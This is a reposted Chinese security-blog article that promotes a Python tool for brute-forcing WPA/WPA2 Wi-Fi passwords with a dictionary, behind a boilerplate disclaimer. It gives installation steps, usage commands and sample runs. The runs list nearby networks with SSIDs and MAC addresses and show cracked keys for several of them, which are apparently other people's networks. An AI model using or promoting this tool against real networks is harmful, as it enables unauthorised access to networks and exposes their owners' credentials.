一个简单的WIFI弱口令暴破的python脚本,可自动实时破解,不需要使用aircrack-ng抓包

admin 2023年12月22日14:46:18评论49 views字数 2381阅读7分56秒阅读模式

声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

免责声明: 该教程仅用于网络安全学习,如有人利用该技术从事违法犯罪行为一切和作者无关,请各位遵守法律法规!可以转发,禁止直接复制粘贴!

一个简单的WIFI弱口令暴破的python脚本,可自动实时破解,不需要使用aircrack-ng抓包,只是有点慢...

  • python only
  • Linux平台,在kali下测试通过
  • 成功率依赖于字典和无线网络的信号强度

安装和依赖

1、pywifi: pip install pywifi
2、无线网卡
3、Linux与python2.7

使用

	usage: wifitest.py [-h] [-m {a,m}] [-k KEY_FILE]

optional arguments:
-h, --help show this help message and exit
-m {a,m}, --mode {a,m}
test mode:a(auto) or m(manual)
-k KEY_FILE, --key_file KEY_FILE
test password dict file,default is top10.txt
  • 自动测试模式
root@kali:~# python wifitest.py
Total KEYS 10
Wifi interface found: wlan0
TEST WIFI LIST:
No SSID BSSID SIGNAL ENC/AUTH
1 TP-LINK_8446 | bc:46:99:6d:84:46 | -57 | WPAPSK/WPA2PSK
2 Tenda_12ABD8 | c8:3a:35:12:ab:d8 | -58 | WPAPSK
3 TP-LINK_D4D0 | fc:d7:33:55:d4:d0 | -71 | WPAPSK/WPA2PSK
4 RP | 84:1b:5e:f2:fe:ce | -64 | WPA2PSK
5 xb7xcfxc6xb7xbbxd8xcaxd5| ec:26:ca:ef:08:7a | -61 | WPAPSK/WPA2PSK
6 laoxiejia | 64:09:80:5d:6f:38 | -49 | WPAPSK/WPA2PSK
7 B-LINK_F20D82 | 3c:33:00:f2:0d:82 | -57 | WPA2PSK
8 TPGuest_D4D0 | f6:d7:33:55:d4:d0 | -64 | WPAPSK/WPA2PSK
9 360WiFi-79DAA1 | a4:56:02:79:da:a1 | -52 | WPAPSK/WPA2PSK
TOTAL TEST WIFI:9
------------------------------------------------------------------------
WIFINO| SSID OR BSSID | TIME | KEYNUM KEY | STATUS
========================================================================
1 | TP-LINK_8446 | 4.01s | 9 123456789 | FOUND!
2 | Tenda_12ABD8 | | | FAIL!
3 | TP-LINK_D4D0 | | | FAIL!
4 | RP | | | FAIL!
...
  • 手动测试模式
root@kali:~# python wifitest.py -m m -k top10.txt
Total KEYS 10
Wifi interface found: wlan0
------------------------------------------------------------------------
No SSID BSSID SIGNAL ENC/AUTH
1 Tenda_12ABD8 | c8:3a:35:12:ab:d8 | -57 | WPAPSK
2 CMCC-FREEMM | 96:74:2a:b2:74:2a | -56 |
3 laoxiejia | 64:09:80:5d:6f:38 | -49 | WPAPSK/WPA2PSK
4 B-LINK_F20D82 | 3c:33:00:f2:0d:82 | -54 | WPA2PSK
5 and-Business | a6:74:2a:b2:74:2a | -56 |
6 <length: 0> | 50:bd:5f:e6:3c:fa | -32 | WPAPSK/WPA2PSK
7 CMCC-CSDL | 84:74:2a:b2:74:2a | -54 |
8 TPGuest_405A | f6:d7:33:6e:40:5a | -61 |
9 TP-LINK_8446 | bc:46:99:6d:84:46 | -57 | WPAPSK/WPA2PSK
10 <length: 0> | fc:d7:33:6e:40:5a | -62 | WPAPSK/WPA2PSK
...
Please choose test No:4,9,1
------------------------------------------------------------------------
WIFINO| SSID OR BSSID | TIME | KEYNUM KEY | STATUS
========================================================================
4 | B-LINK_F20D82 | 7.13s | 2 147258369 | FOUND!
9 | TP-LINK_8446 | 4.06s | 9 123456789 | FOUND!
1 | Tenda_12ABD8 | | | FAIL!

Done...

项目地址:https://github.com/hanc00l/wifitest/tree/master


原文始发于微信公众号(狗头网络安全):一个简单的WIFI弱口令暴破的python脚本,可自动实时破解,不需要使用aircrack-ng抓包

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月22日14:46:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一个简单的WIFI弱口令暴破的python脚本,可自动实时破解,不需要使用aircrack-ng抓包https://cn-sec.com/archives/2327117.html

发表评论

匿名网友 填写信息